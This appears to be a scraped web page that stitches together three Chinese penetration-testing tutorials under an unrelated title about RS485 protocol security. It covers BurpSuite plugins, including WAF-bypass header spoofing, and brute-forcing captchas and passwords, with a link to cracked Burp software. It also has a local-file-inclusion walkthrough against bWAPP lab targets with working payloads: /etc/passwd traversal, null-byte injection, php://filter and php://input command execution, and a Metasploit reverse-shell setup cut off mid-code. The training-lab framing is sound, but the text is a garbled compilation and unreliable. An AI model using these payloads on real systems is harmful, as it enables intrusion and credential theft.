ABA加密485通讯协议代码安全吗

&figure&&img src=&https://pic1.zhimg.com/v2-2ffd808dfff2_b.jpg& data-rawwidth=&598& data-rawheight=&336& class=&origin_image zh-lightbox-thumb& width=&598& data-original=&https://pic1.zhimg.com/v2-2ffd808dfff2_r.jpg&&&/figure&&p&&b&前言&/b&&/p&
&p&BurpSuite 是一个辅助渗透的工具,它提供了简单的 HTTP 的抓包改包、数据枚举模块到各种安全漏洞的手动式扫描与爬虫式扫描,以及很多经常会用到的小工具。它的主要模块 Proxy / Scanner / Spider 等都设计了接口可以很方便的使用 Java / Python 或是
Javascript 进行编写扩展,我们也可以在应用内的扩展商城 BApp Store 中直接勾选安装其它人共享的渗透测试扩展,类型非常丰富。&br&&/p&&br&&p&&b&插件安装&br&&/b&&/p&&figure&&img src=&https://pic2.zhimg.com/v2-45f9cb8d32aa4f71e270_b.jpg& data-rawwidth=&554& data-rawheight=&294& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic2.zhimg.com/v2-45f9cb8d32aa4f71e270_r.jpg&&&/figure&&h2&XSS
Validator&/h2&&p&用来自动检测当前网站是否存在 XSS 漏洞。&/p&&ol&&li&&b&使用准备:&/b&&br& 安装phantomJS,下载地址:&a href=&https://link.zhihu.com/?target=https%3A//translate.googleusercontent.com/translate_c%3Fdepth%3D2%26hl%3Dzh-CN%26prev%3Dsearch%26rurl%3Dtranslate.google.com%26sl%3Den%26sp%3Dnmt4%26u%3Dhttp%3A//phantomjs.org/%26usg%3DALkJrhgQk-eQa7djfhPAHBDMF0BvuwkdIQ& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&http://phantomjs.org/&/a&,此过程不再赘述。(将 phantomJS 加入到环境变量中,方便使用)。&p&安装好的 XSS validator,页面如下:&/p&&br&&figure&&img src=&https://pic3.zhimg.com/v2-c3f7c5798_b.jpg& data-rawwidth=&553& data-rawheight=&352& class=&origin_image zh-lightbox-thumb& width=&553& data-original=&https://pic3.zhimg.com/v2-c3f7c5798_r.jpg&&&/figure&&br&&/li&&li&&b&使用方式&/b&&br&&p&在cmd命令提示符窗口执行命令 :&/p&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&phantomjs xss.js
&/code&&/pre&&/div&&p&xss.js 这个文件在插件安装目录下的xss-detector文件夹下,若该文件夹下没有,可以去&a href=&https://link.zhihu.com/?target=https%3A//github.com/nVisium/xssValidator& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&github.com/nVisium/xssV&/span&&span class=&invisible&&alidator&/span&&span class=&ellipsis&&&/span&&/a&下载,并复制到插件安装目录中。控制台界面显示如下,并无其他提示信息。&br&&figure&&img src=&https://pic4.zhimg.com/v2-4ecab94c665d_b.jpg& data-rawwidth=&553& data-rawheight=&59& class=&origin_image zh-lightbox-thumb& width=&553& data-original=&https://pic4.zhimg.com/v2-4ecab94c665d_r.jpg&&&/figure&&/p&&p&配置 payload:&br&&figure&&img src=&https://pic3.zhimg.com/v2-84a66aa22fb106bef80a6_b.jpg& data-rawwidth=&608& data-rawheight=&403& class=&origin_image zh-lightbox-thumb& width=&608& data-original=&https://pic3.zhimg.com/v2-84a66aa22fb106bef80a6_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-7a82ed69daf4e_b.jpg& data-rawwidth=&592& data-rawheight=&365& class=&origin_image zh-lightbox-thumb& width=&592& data-original=&https://pic4.zhimg.com/v2-7a82ed69daf4e_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-eb9966d1cbac_b.jpg& data-rawwidth=&537& data-rawheight=&453& class=&origin_image zh-lightbox-thumb& width=&537& data-original=&https://pic4.zhimg.com/v2-eb9966d1cbac_r.jpg&&&/figure&&br&&/p&&br&&/li&&li&然后 start attack,跳出来的页面显示:成功触发 XSS 攻击的有效负载将被存在“ fy7sdufsuidfhuisdf ”标志所指出,如下所示:&br&&figure&&img src=&https://pic4.zhimg.com/v2-8c86cafad493_b.jpg& data-rawwidth=&554& data-rawheight=&351& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic4.zhimg.com/v2-8c86cafad493_r.jpg&&&/figure&&/li&&li&可以看到,响应报文中存在 XSS 漏洞的均被标出。若要验证某一个 XSS 漏洞的效果,选中&br&&figure&&img src=&https://pic3.zhimg.com/v2-e195e7f60b4fdffd342c192a_b.jpg& data-rawwidth=&553& data-rawheight=&350& class=&origin_image zh-lightbox-thumb& width=&553& data-original=&https://pic3.zhimg.com/v2-e195e7f60b4fdffd342c192a_r.jpg&&&/figure&&figure&&img src=&https://pic2.zhimg.com/v2-9becc62f6ec_b.jpg& data-rawwidth=&401& data-rawheight=&183& class=&content_image& width=&401&&&/figure&复制该地址到浏览器(设置了代理)中打开即可。 &/li&&/ol&&h2&&b&Notes&/b&&/h2&&p&notes 是用来管理在渗透过程中创建的外部文件。&/p&&p&安装后的界面如下:&/p&&figure&&img src=&https://pic3.zhimg.com/v2-ba41fb2936024_b.jpg& data-rawwidth=&238& data-rawheight=&340& class=&content_image& width=&238&&&/figure&&br&&ul&&li&Export Tab :将单个备注导出为外部文件。&br&&/li&&li&Save Notes: 将当前打开的所有备注保存在一个文件中。&br&&/li&&li&Load Notes:打开以前保存的一组备注。&br&&/li&&li&New Text :新建注释文本。&br&&/li&&li&New Spreadsheet:新建电子表格。&br&&/li&&li&Import Text:导入文本文档的内容。&br&&/li&&li&Import Spreadsheet:导入电子表格。&br&&br&还可以将发送HTTP请求和响应到 Notes:&br&&/li&&/ul&&br&&figure&&img src=&https://pic4.zhimg.com/v2-0e37ee66fd19b90d46f203_b.jpg& data-rawwidth=&553& data-rawheight=&317& class=&origin_image zh-lightbox-thumb& width=&553& data-original=&https://pic4.zhimg.com/v2-0e37ee66fd19b90d46f203_r.jpg&&&/figure&&br&&h2&&b&Bypasswaf&/b&&/h2&&p&WAF(web 应用防火墙)会检查请求的 HTTP 头。具体实现是检查头 X-originating-IP 的请求。而利用 BurpSuite 可以轻松的在请求里添加标头以绕过某些 WAF 产品。此扩展程序将自动将以下标头添加到所有请求中: &/p&&ul&&li&X-Originating-IP:127.0.0.1&br&&/li&&li&X-Forwarded-For:127.0.0.1&br&&/li&&li&X-Remote-IP:127.0.0.1&br&&/li&&li&X-Remote-Addr:127.0.0.1&br&&/li&&li&X-Client-IP:127.0.0.1&br&&/li&&/ul&&br&&p&&b& 使用方式:&/b&&/p&&ol&&li&在burp中创建一个会话处理规则以此来激活该插件。&figure&&img src=&https://pic4.zhimg.com/v2-2e02ebdfaa3da75f45eb20fbfabe2873_b.jpg& data-rawwidth=&554& data-rawheight=&305& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic4.zhimg.com/v2-2e02ebdfaa3da75f45eb20fbfabe2873_r.jpg&&&/figure&&figure&&img src=&https://pic2.zhimg.com/v2-b88cc527d98b1f3af215d1c72b764ea8_b.jpg& data-rawwidth=&554& data-rawheight=&369& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic2.zhimg.com/v2-b88cc527d98b1f3af215d1c72b764ea8_r.jpg&&&/figure&&figure&&img src=&https://pic4.zhimg.com/v2-dc5b68bc7a2d_b.jpg& data-rawwidth=&554& data-rawheight=&134& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic4.zhimg.com/v2-dc5b68bc7a2d_r.jpg&&&/figure&&p&启用您想要使用该插件的所有工具,然后设置范围。&figure&&img src=&https://pic2.zhimg.com/v2-c3efcb15dcbc7c71bf3d_b.jpg& data-rawwidth=&554& data-rawheight=&341& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic2.zhimg.com/v2-c3efcb15dcbc7c71bf3d_r.jpg&&&/figure&&/p&&/li&&li&激活所有配置&figure&&img src=&https://pic4.zhimg.com/v2-8dfddc1a0a63fef1fa6b7c_b.jpg& data-rawwidth=&554& data-rawheight=&415& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic4.zhimg.com/v2-8dfddc1a0a63fef1fa6b7c_r.jpg&&&/figure&&/li&&/ol&&h2&&b&Random IP Address Header&/b&&/h2&&p&这个扩展会自动生成 IPV6 和 IPV4 的地址头来躲避 WAF 的过滤。这种扩展可以在使用 Imperva WAF 的攻击站点或者在 Akamai CDN 背后躲避 WAF 规则的时候提供帮助。&/p&&figure&&img src=&https://pic4.zhimg.com/v2-acbf40cc989d7b726274_b.jpg& data-rawwidth=&554& data-rawheight=&301& class=&origin_image zh-lightbox-thumb& width=&554& data-original=&https://pic4.zhimg.com/v2-acbf40cc989d7b726274_r.jpg&&&/figure&&br&&h2&&b&Python Scripter&/b&&/h2&&p&该扩展在每个 HTTP 请求和由 Burp 处理的响应中执行自定义的 Python 脚本。&/p&&p&使用时,将 Python 脚本键入或粘贴到 “Scrip” 选项卡中,并以正常的方式使用 Burp。该脚本将针对每个 HTTP 请求和响应执行。&/p&&h2&&b&Sentinel&/b&&/h2&&p&使用 BurpSentinel,渗透测试人员可以快速轻松地将大量恶意请求发送给 HTTP 请求的参数,来检测当前网站是否有漏洞。不仅如此,它还显示了与响应相对应的 HTTP 响应的大量信息。此工具只能发现漏洞,而不能利用漏洞。&/p&&p&&i&注:本插件只能在 burpsuite 专业版里使用。&/i&&/p&&ol&&li& 将抓到的包send to sentinel&figure&&img src=&https://pic3.zhimg.com/v2-fadd1bd701559_b.jpg& data-rawwidth=&587& data-rawheight=&351& class=&origin_image zh-lightbox-thumb& width=&587& data-original=&https://pic3.zhimg.com/v2-fadd1bd701559_r.jpg&&&/figure&&/li&&li& 选择攻击方式&figure&&img src=&https://pic4.zhimg.com/v2-3f2dacef07dc8f5ac646_b.jpg& data-rawwidth=&589& data-rawheight=&335& class=&origin_image zh-lightbox-thumb& width=&589& data-original=&https://pic4.zhimg.com/v2-3f2dacef07dc8f5ac646_r.jpg&&&/figure&&/li&&li& 选择应该被攻击的参数,send&figure&&img src=&https://pic3.zhimg.com/v2-cc9cda4ab23_b.jpg& data-rawwidth=&576& data-rawheight=&275& class=&origin_image zh-lightbox-thumb& width=&576& data-original=&https://pic3.zhimg.com/v2-cc9cda4ab23_r.jpg&&&/figure&&/li&&li& Go 收到攻击时发送的http请求列表&figure&&img src=&https://pic4.zhimg.com/v2-eede51ed1ac46d9fc404_b.jpg& data-rawwidth=&575& data-rawheight=&329& class=&origin_image zh-lightbox-thumb& width=&575& data-original=&https://pic4.zhimg.com/v2-eede51ed1ac46d9fc404_r.jpg&&&/figure&&p&有V的代表检测到了漏洞&/p&&figure&&img src=&https://pic3.zhimg.com/v2-9c9bfb8c9c4d_b.jpg& data-rawwidth=&568& data-rawheight=&113& class=&origin_image zh-lightbox-thumb& width=&568& data-original=&https://pic3.zhimg.com/v2-9c9bfb8c9c4d_r.jpg&&&/figure&&/li&&/ol&&p&&figure&&img src=&https://pic3.zhimg.com/v2-26d057f686dfcc51bd6518be_b.jpg& data-rawwidth=&655& data-rawheight=&751& class=&origin_image zh-lightbox-thumb& width=&655& data-original=&https://pic3.zhimg.com/v2-26d057f686dfcc51bd6518be_r.jpg&&&/figure&另外还可以查看原始请求与攻击请求的差异&/p&&figure&&img src=&https://pic3.zhimg.com/v2-1fbeab3c13aebca_b.jpg& data-rawwidth=&650& data-rawheight=&121& class=&origin_image zh-lightbox-thumb& width=&650& data-original=&https://pic3.zhimg.com/v2-1fbeab3c13aebca_r.jpg&&&/figure&&br&&p&&b&参考:&/b&&/p&&a href=&https://link.zhihu.com/?target=https%3A//github.com/nVisium/xssValidator& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&github.com/nVisium/xssV&/span&&span class=&invisible&&alidator&/span&&span class=&ellipsis&&&/span&&/a&&br&&a href=&https://link.zhihu.com/?target=https%3A//t0data.gitbooks.io/burpsuite/chapter19.html& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&t0data.gitbooks.io/burp&/span&&span class=&invisible&&suite/chapter19.html&/span&&span class=&ellipsis&&&/span&&/a&&br&&a href=&https://link.zhihu.com/?target=https%3A//nvisium.com/blog//accurate-xss-detection-with-burpsuite/& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&nVisium: The Intersection of Software and Security&/a&&br&&a href=&https://link.zhihu.com/?target=https%3A//www.codewatch.org/blog/%3Fp%3D408& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Bypass WAF: Burp Plugin to Bypass Some WAF Devices&/a&&br&&a href=&https://link.zhihu.com/?target=https%3A//github.com/codewatchorg/bypasswaf& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&https://&/span&&span class=&visible&&github.com/codewatchorg&/span&&span class=&invisible&&/bypasswaf&/span&&span class=&ellipsis&&&/span&&/a&&br&&a href=&https://link.zhihu.com/?target=https%3A//github.com/dobin/BurpSentinel/wiki/BurpSentinel---HowTo-and-introduction& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&https://github.com/dobin/BurpSentinel/wiki/BurpSentinel---HowTo-and-introductio&/a&
BurpSuite 是一个辅助渗透的工具,它提供了简单的 HTTP 的抓包改包、数据枚举模块到各种安全漏洞的手动式扫描与爬虫式扫描,以及很多经常会用到的小工具。它的主要模块 Proxy / Scanner / Spider 等都设计了接口可以很方便的使用 Java / Python 或是
&figure&&img src=&https://pic2.zhimg.com/d325f6baf7d658b909f2ac8_b.jpg& data-rawwidth=&625& data-rawheight=&500& class=&origin_image zh-lightbox-thumb& width=&625& data-original=&https://pic2.zhimg.com/d325f6baf7d658b909f2ac8_r.jpg&&&/figure&导读:&br&你爆破数字验证码要自己生成字典?&br&你不会同时爆破账号密码? &br&&p&Burpsuite介绍:&/p&&p&一款可以进行再WEB应用程序的集成攻击测试平台。&/p&&p&常用的功能:&/p&&p&抓包、重放、爆破&/p&&p&1.使用Burp进行抓包&/p&&p&这边抓包,推荐360浏览器7.1版本(原因:方便)&/p&&p&在浏览器设置代理:&/p&&figure&&img src=&https://pic4.zhimg.com/dab9aebd30e28e668315c_b.jpg& data-rawwidth=&779& data-rawheight=&298& class=&origin_image zh-lightbox-thumb& width=&779& data-original=&https://pic4.zhimg.com/dab9aebd30e28e668315c_r.jpg&&&/figure&&br&&p&360浏览器:工具-&代理服务器-&代理服务器设置&/p&&figure&&img src=&https://pic4.zhimg.com/be312d7fad73_b.jpg& data-rawwidth=&460& data-rawheight=&520& class=&origin_image zh-lightbox-thumb& width=&460& data-original=&https://pic4.zhimg.com/be312d7fad73_r.jpg&&&/figure&&br&&p&设置好代理:127.0.0.1:8080 -& 确定&/p&&p&Burpsuite下载:&/p&&a href=&https://link.zhihu.com/?target=http%3A//three.hi-ourlife.com/content/uploadfile/.zip& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Burpsuite1.6.rar&/a&&p&(这边说下,Burpsuite原为收费,打开的时候使用已经破解的补丁就可以正常使用,就是如下的正确打开方式)&/p&&p&打开BurpLoader.jar 进行监听设置:&/p&&figure&&img src=&https://pic3.zhimg.com/84b89dbe35fea6a23d93_b.jpg& data-rawwidth=&693& data-rawheight=&185& class=&origin_image zh-lightbox-thumb& width=&693& data-original=&https://pic3.zhimg.com/84b89dbe35fea6a23d93_r.jpg&&&/figure&&p&Proxy-&Options&/p&&p&我们再仔细看下:&/p&&p&&strong&Interface&/strong& 设置要跟前面浏览器设置的代理服务器一样。&/p&&p&&strong&Running&/strong& 一定要打勾才可以监听。&/p&&p&&strong&开始抓包:&/strong&&/p&&p&360浏览器设置:&/p&&figure&&img src=&https://pic4.zhimg.com/413a235d272f0cff2b6e0e2b03d45f95_b.jpg& data-rawwidth=&527& data-rawheight=&324& class=&origin_image zh-lightbox-thumb& width=&527& data-original=&https://pic4.zhimg.com/413a235d272f0cff2b6e0e2b03d45f95_r.jpg&&&/figure&&p&Burp设置:&/p&&figure&&img src=&https://pic2.zhimg.com/ecae26e1ce02accc805b578_b.jpg& data-rawwidth=&695& data-rawheight=&213& class=&origin_image zh-lightbox-thumb& width=&695& data-original=&https://pic2.zhimg.com/ecae26e1ce02accc805b578_r.jpg&&&/figure&&p&这样在浏览器进行操作就可以抓到包:&/p&&figure&&img src=&https://pic4.zhimg.com/f7d47a1a5afd320d28b4bf958e1694ad_b.jpg& data-rawwidth=&987& data-rawheight=&276& class=&origin_image zh-lightbox-thumb& width=&987& data-original=&https://pic4.zhimg.com/f7d47a1a5afd320d28b4bf958e1694ad_r.jpg&&&/figure&&br&&p&可以直接在&strong&Raw&/strong&这进行修改包的内容,最后要让包正常传递过去,点击&strong&Forward&/strong&即可。&/p&&p&不要这个包,点击&strong&Drop&/strong&,就可以丢弃。&/p&&p&&strong&进行重放包:&/strong&&/p&&figure&&img src=&https://pic3.zhimg.com/1a5ddffb324fe_b.jpg& data-rawwidth=&642& data-rawheight=&177& class=&origin_image zh-lightbox-thumb& width=&642& data-original=&https://pic3.zhimg.com/1a5ddffb324fe_r.jpg&&&/figure&&p&鼠标对着Raw的内容右击,最后单击Send To Repeater&/p&&p&之后,你会发现这样的情况:&/p&&figure&&img src=&https://pic2.zhimg.com/ba0109d4efd87ecd95de967267cfa1f2_b.jpg& data-rawwidth=&729& data-rawheight=&79& class=&origin_image zh-lightbox-thumb& width=&729& data-original=&https://pic2.zhimg.com/ba0109d4efd87ecd95de967267cfa1f2_r.jpg&&&/figure&&p&只需要点击Repeater进入重放功能模块。&/p&&figure&&img src=&https://pic1.zhimg.com/a629ac4152e68ebe89f1e8b32735ccb2_b.jpg& data-rawwidth=&972& data-rawheight=&317& class=&origin_image zh-lightbox-thumb& width=&972& data-original=&https://pic1.zhimg.com/a629ac4152e68ebe89f1e8b32735ccb2_r.jpg&&&/figure&&p&想要重放点击Go就可以,从页面可以看到左边是我们抓到的包,右边是包返回的结果。&/p&&p&&strong&进行爆破:&/strong&&/p&&p&跟上面重放是一样的,右击Raw的内容,点击Send to Intruder&/p&&p&之后也会出现Intruder变黄色。还是跟重放一样,进去爆破功能模块。&/p&&p&设置爆破的参数:&/p&&p&进入后,先点击&strong&Clear $&/strong&&/p&&p&把要爆破的参数后面的值选中,点击&strong&Add $&/strong&&/p&&figure&&img src=&https://pic4.zhimg.com/9efbdc00d2_b.jpg& data-rawwidth=&979& data-rawheight=&519& class=&origin_image zh-lightbox-thumb& width=&979& data-original=&https://pic4.zhimg.com/9efbdc00d2_r.jpg&&&/figure&&p&设置好后,进行字典的设置。&/p&&figure&&img src=&https://pic3.zhimg.com/aee075e0a6d5_b.jpg& data-rawwidth=&996& data-rawheight=&577& class=&origin_image zh-lightbox-thumb& width=&996& data-original=&https://pic3.zhimg.com/aee075e0a6d5_r.jpg&&&/figure&&p&点击Load可以载入你自己的字典。&/p&&p&如果要爆破4位数的字典或者5位数的(纯数字),不必自己生成字典,用Burp自带的字典:&/p&&figure&&img src=&https://pic2.zhimg.com/8ad1d84b23_b.jpg& data-rawwidth=&968& data-rawheight=&567& class=&origin_image zh-lightbox-thumb& width=&968& data-original=&https://pic2.zhimg.com/8ad1d84b23_r.jpg&&&/figure&&p&在进行设置:&/p&&figure&&img src=&https://pic2.zhimg.com/8671abb1d92b7ab6db71ee7eb189070c_b.jpg& data-rawwidth=&975& data-rawheight=&647& class=&origin_image zh-lightbox-thumb& width=&975& data-original=&https://pic2.zhimg.com/8671abb1d92b7ab6db71ee7eb189070c_r.jpg&&&/figure&&p&最后要爆破的时候,点击&strong&Start attack&/strong&&/p&&p&&strong&双参数爆破:&/strong&&/p&&figure&&img src=&https://pic4.zhimg.com/b5c7125d9fdd77ced57e9c_b.jpg& data-rawwidth=&956& data-rawheight=&508& class=&origin_image zh-lightbox-thumb& width=&956& data-original=&https://pic4.zhimg.com/b5c7125d9fdd77ced57e9c_r.jpg&&&/figure&&p&两个参数设置。&/p&&p&再分别进行字典的导入:&/p&&figure&&img src=&https://pic3.zhimg.com/c2debcbb2ffb5ac88eddf_b.jpg& data-rawwidth=&571& data-rawheight=&173& class=&origin_image zh-lightbox-thumb& width=&571& data-original=&https://pic3.zhimg.com/c2debcbb2ffb5ac88eddf_r.jpg&&&/figure&&p&马后炮:&/p&&p&Burp是一款神器,好好利用。&/p&&br&&p&转载自:&a href=&https://link.zhihu.com/?target=http%3A//three.hi-ourlife.com/post-7.html& class=& wrap external& target=&_blank& rel=&nofollow noreferrer&&Burpsuite神器常用功能使用方法总结&/a&&/p&
导读: 你爆破数字验证码要自己生成字典? 你不会同时爆破账号密码? Burpsuite介绍:一款可以进行再WEB应用程序的集成攻击测试平台。常用的功能:抓包、重放、爆破1.使用Burp进行抓包这边抓包,推荐360浏览器7.1版本(原因:方便)在浏览器设置代理: 360浏览…
&p&&figure&&img src=&https://pic3.zhimg.com/v2-945c7ffb84800cdb4fe0dc6b2f821e3c_b.jpg& data-rawwidth=&851& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&851& data-original=&https://pic3.zhimg.com/v2-945c7ffb84800cdb4fe0dc6b2f821e3c_r.jpg&&&/figure&本地文件包含(Local File Include)是php脚本的一大特色,程序员们为了开发的方便,常常会用到包含。比如把一系列功能函数都写进fuction.php中,之后当某个文件需要调用的时候就直接在文件头中写上一句&?php include fuction.php?&就可以调用内部定义的函数。&/p&&p&本地包含漏洞是PHP中一种典型的高危漏洞。由于程序员未对用户可控的变量进行输入检查,导致用户可以控制被包含的文件,成功利用时可以使web server会将特定文件当成php执行,从而导致用户可获取一定的服务器权限。&/p&&p&本篇文章的主要目的是分享在服务器上使用各种技术攻击一个Web服务器的想法,当服务器遭受文件包含漏洞时,用户会通过URL在浏览器中包括一个文件。在本文中,作者将使用了两个不同的平台bWAPP(一款非常好用的漏洞演示平台,集成了各种常见漏洞和最新漏洞的开源Web应用程序,目的是帮助网络安全爱好者、开发人员和学生发现并防止网络漏洞)和DVWA(dema vulnerable web application,是一个基于PHP/MYSQL环境写的一个web应用,主要目的是帮助安全专业员在合法的环境里面去测试他们的技术和工具),其中包含文件包含漏洞,然后以四种不同的方式执行LFI攻击。&/p&&h2&&b&基本本地文件包含&/b&&/h2&&p&在浏览器中打开目标IP,并在BWAPP内登录为bee:bug,然后就可以选择remote & local file Inclusion,然后点击hack。&figure&&img src=&https://pic4.zhimg.com/v2-1cde2af0_b.jpg& data-rawwidth=&859& data-rawheight=&518& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic4.zhimg.com/v2-1cde2af0_r.jpg&&&/figure&&/p&&p&这时,所请求的具有RFI和LFI漏洞的网页就会被打开。你将在给定的下拉列表中找到用于选择语言的注释,当你单击go按钮时,所选的语言文件将包含在URL中。这时基本攻击操作便会执行。&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd
&/code&&/pre&&/div&&p&在基本的LFI攻击中,我们可以使用(../)或简单地(/)从目录中直接读取文件的内容,现在如果你注意到下面的截图,你会发现有浏览器中正在执行访问密码文件URL。&figure&&img src=&https://pic3.zhimg.com/v2-976ac4c8a_b.jpg& data-rawwidth=&859& data-rawheight=&679& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic3.zhimg.com/v2-976ac4c8a_r.jpg&&&/figure&&/p&&h2&&b&空字符注入&/b&&/h2&&p&在一些情况下,由于高安全级别,上述所讲的基本本地文件包含攻击可能起不到攻击效果。从下面的图中,大家可以观察到,当在URL中执行相同的路径时,是无法读取密码文件的。所以当我们面对这样的问题,就要采用空字符注入攻击了。&/p&&p&现在打开Burp Suite(是用于攻击web 应用程序的集成平台。它包含了许多工具,并为这些工具设计了许多接口,以促进加快攻击应用程序的过程)来捕获浏览器中的请求,然后选择proxy tab并开始intercept,不过不要忘记在使用Burp Suite时设置browser proxy&figure&&img src=&https://pic3.zhimg.com/v2-b8b474ff8edeb2c3032c7_b.jpg& data-rawwidth=&859& data-rawheight=&523& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic3.zhimg.com/v2-b8b474ff8edeb2c3032c7_r.jpg&&&/figure&&/p&&p&Burp支持手动的Web应用程序测试的活动。它可以让你有效地结合手动和自动化技术,使你可以完全控制所有的BurpSuite执行的行动,并提供有关你所测试的应用程序的详细信息和分析。 让我们一起来看看Burp Suite的测试流程过程吧。 如下图&figure&&img src=&https://pic3.zhimg.com/v2-945c7ffb84800cdb4fe0dc6b2f821e3c_b.jpg& data-rawwidth=&851& data-rawheight=&768& class=&origin_image zh-lightbox-thumb& width=&851& data-original=&https://pic3.zhimg.com/v2-945c7ffb84800cdb4fe0dc6b2f821e3c_r.jpg&&&/figure&&/p&&p&现在内部BurpSuite会将拦截的数据发送到中继器。&/p&&p&&figure&&img src=&https://pic3.zhimg.com/v2-e4bbae047898e_b.jpg& data-rawwidth=&859& data-rawheight=&602& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic3.zhimg.com/v2-e4bbae047898e_r.jpg&&&/figure&存在于其中面的中继器你可以做发送的请求和响应生成的分析。从一下屏幕的截图中,我们可以清楚的发现, / etc / passwd是不工作,所以我们无法读取密码文件。&figure&&img src=&https://pic1.zhimg.com/v2-6c5e254a73d438bd3e7a093ba91e8555_b.jpg& data-rawwidth=&859& data-rawheight=&648& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic1.zhimg.com/v2-6c5e254a73d438bd3e7a093ba91e8555_r.jpg&&&/figure&&/p&&p&从以下截图中,可以看到我们已经通过在/ etc / passwd%00目录的末尾添加空了字符(%00)来转发请求,单击go运行之后,然后在窗口的右视图上,密码文件作为响应就被打开。&figure&&img src=&https://pic2.zhimg.com/v2-f4948cbc38e1b74caefdbab_b.jpg& data-rawwidth=&859& data-rawheight=&648& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic2.zhimg.com/v2-f4948cbc38e1b74caefdbab_r.jpg&&&/figure&&/p&&h2&&b&Base64编码&/b&&/h2&&p&现在用另一种方法来利用LFI时,当安全级别很高时,并且无法查看PHP文件内容时,可以使用以下PHP函数。&/p&&br&&div class=&highlight&&&pre&&code class=&language-text&&&span&&/span&http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd
&/code&&/pre&&/div&&p&从下面的截图你可以看到密码文件的内容编码为base64,然后复制整个编码文本。&figure&&img src=&https://pic2.zhimg.com/v2-b3d4ed7aa1e0_b.jpg& data-rawwidth=&859& data-rawheight=&519& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic2.zhimg.com/v2-b3d4ed7aa1e0_r.jpg&&&/figure&&/p&&p&比如本文的作者使用的就是hackbar(firefox浏览器上的一个插件)解码上面复制的文本。&figure&&img src=&https://pic2.zhimg.com/v2-df96a14be9fe0_b.jpg& data-rawwidth=&859& data-rawheight=&521& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic2.zhimg.com/v2-df96a14be9fe0_r.jpg&&&/figure&&/p&&p&现在会有一个弹出框被打开,然后复制编码文本,并单击OK&figure&&img src=&https://pic4.zhimg.com/v2-fe831b2c89f74c_b.jpg& data-rawwidth=&859& data-rawheight=&419& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic4.zhimg.com/v2-fe831b2c89f74c_r.jpg&&&/figure&&/p&&p&从以下的屏幕截图中,你可以查看结果并读取密码文件的内容。&figure&&img src=&https://pic1.zhimg.com/v2-0b65f5eec3d2f16deff35d9d0fbcaaf7_b.jpg& data-rawwidth=&859& data-rawheight=&434& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic1.zhimg.com/v2-0b65f5eec3d2f16deff35d9d0fbcaaf7_r.jpg&&&/figure&&/p&&h2&&b&PHP输入&/b&&/h2&&p&使用PHP输入函数,我们将执行注入的PHP代码来利用LFI漏洞。在hackbar的帮助下,就可以开始执行这个任务了,首先,我们需要加载目标网页的URL,如下方的屏幕截图所示。&/p&&p&&a href=&https://link.zhihu.com/?target=http%3A//192.168.1.101/bWAPP/rlfi.php%3Flanguage%3Dlang_en.php%26action%3Dgo& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&192.168.1.101/bWAPP/rlf&/span&&span class=&invisible&&i.php?language=lang_en.php&action=go&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&&figure&&img src=&https://pic2.zhimg.com/v2-d42caebe_b.jpg& data-rawwidth=&859& data-rawheight=&488& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic2.zhimg.com/v2-d42caebe_r.jpg&&&/figure&现在使用PHP输入函数,操作上面的URL &/p&&p&&a href=&https://link.zhihu.com/?target=http%3A//192.168.1.101/bWAPP/rlfi.php%3Flanguage%3Dphp%3A//input%26cmd%3Dls& class=& external& target=&_blank& rel=&nofollow noreferrer&&&span class=&invisible&&http://&/span&&span class=&visible&&192.168.1.101/bWAPP/rlf&/span&&span class=&invisible&&i.php?language=php://input&cmd=ls&/span&&span class=&ellipsis&&&/span&&/a&&/p&&p&然后选中复选框的enable Post data ,&/p&&p&它将转发发布请求并在给定文本区域中添加cmd注释&?php system($ _ GET ['cmd']); ?&如下图所示,最后点击execute。然后被攻击者的PC目录就显示了出来。&figure&&img src=&https://pic1.zhimg.com/v2-bf288b2cc1ef_b.jpg& data-rawwidth=&859& data-rawheight=&572& class=&origin_image zh-lightbox-thumb& width=&859& data-original=&https://pic1.zhimg.com/v2-bf288b2cc1ef_r.jpg&&&/figure&&/p&&p&现在就可以通过反向连接连接受害者;在kali Linux(基于Debian的Linux发行版, 设计用于数字取证和渗透测试)中打开终端并键入msfconsole启动metasploit框架。&/p&&p&现在键入use exploit / multi / script / web_delivery&/p&&br&&div class=&highlight&&&pre&&code 